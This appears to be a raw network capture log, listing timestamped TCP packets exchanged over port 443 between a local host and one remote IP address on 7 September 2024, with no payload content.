Sep 7, 2024 23:15:34.035588980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.035684109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.035697937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.035742998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.035952091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.035967112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036014080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036020041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036052942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036220074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036233902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036288023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036295891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036330938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036463976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036477089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036514044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036529064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.036546946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.036561012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.037049055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037061930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037096977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.037102938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037126064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.037143946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.037430048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037447929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037501097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.037508011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.037542105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.038938999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.038952112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.039006948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.039012909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.039045095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.039279938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.039294958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.039334059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.039340019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.039362907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.039386034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123339891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123363018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123445034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123491049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123498917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123513937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123570919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123660088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123675108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123717070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123723030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123744965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123800993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123820066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123856068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.123862028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.123884916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.124006033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124018908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124043941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.124051094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124075890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.124541044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124561071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124603987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.124610901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.124629974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.125787020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125807047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125837088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.125844955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125866890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125868082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.125906944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125922918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.125927925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.125941038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.125960112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.211883068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.211905003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212027073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212054968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212094069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212192059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212208986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212253094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212260008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212291956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212306023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212327003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212356091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212361097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212393045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212471962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212501049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212528944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212534904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212553978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212569952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212635994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212656021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212697983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.212704897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.212734938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.213077068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.213090897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.213141918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.213149071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.213180065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.215147972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215162992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215220928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.215233088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215253115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.215264082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215276957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.215286016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215296984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.215308905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.215361118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300343037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300365925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300523996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300568104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300590992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300611973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300612926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300627947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300640106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300667048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300837994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300852060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300887108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300896883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300913095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.300960064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.300985098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301002979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301013947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301031113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301039934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301064968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301567078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301582098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301665068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301700115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301708937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301732063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.301743031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.301753044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.303766012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303778887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303837061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.303860903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303911924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303930044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303952932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.303961992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.303982019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.347260952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.388978004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389005899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389055014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389065027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389117956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389139891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389189959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389281034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389295101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389343977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389355898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389441967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389467955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389503002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389512062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389542103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389848948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389863014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.389936924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.389945984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.391774893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.391813040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.391899109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.391912937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.392035961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.392050982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.392108917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.392117023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.427288055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.427313089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.427438021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.427469015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.472199917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.477607012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477622032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477679014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.477695942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477718115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.477735996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477755070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477792025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.477799892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.477822065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.477849960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.478004932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478018045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478086948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.478095055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478133917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.478384018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478396893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478455067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.478462934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478503942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.478971004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.478985071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.479043961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.479053020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.479104996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.480654955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.480669975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.480776072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.480783939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.480850935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.480916023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.480928898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.481023073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.481030941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.481072903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.516257048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.516273975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.516347885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.516366959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.516401052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.566273928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566291094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566346884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.566368103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566379070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.566420078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.566600084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566615105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566660881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.566668987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.566698074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567034960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567055941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567101955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567109108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567142963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567380905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567395926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567450047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567456961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567491055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567859888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567873955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567920923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.567929029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.567964077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.569479942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569494009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569561005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.569570065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569629908 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.569819927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569839954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569881916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.569890022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.569912910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.569931984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.604500055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.604515076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.604676008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.604693890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.604736090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.654685974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654700994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654814005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.654834032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654869080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654876947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.654889107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654903889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.654917955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655020952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655128956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655143023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655191898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655199051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655232906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655314922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655330896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655361891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655369043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655381918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655402899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655453920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655467987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655495882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655502081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.655529976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.655546904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.657272100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657286882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657345057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.657360077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657398939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.657763004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657777071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657819033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.657825947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.657845974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.657860994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.692708015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.692724943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.692820072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.692842007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.692878962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743160009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743181944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743362904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743401051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743490934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743731976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743751049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743808985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743818045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743849993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:34.743890047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:34.743905067 CEST	443	49706	138.199.36.9	192.168.2.8
